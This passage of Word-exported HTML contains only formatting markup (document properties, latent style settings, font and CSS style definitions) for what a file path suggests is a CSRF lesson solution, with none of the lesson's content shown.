<o:Paragraphs>6</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>3155</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/CSRF_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/CSRF_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
h3
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 3 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:3;
|
||||
font-size:13.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.Heading3Char
|
||||
{mso-style-name:"Heading 3 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 3";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-ascii-font-family:"Times New Roman";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Times New Roman";
|
||||
mso-bidi-font-family:Arial;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
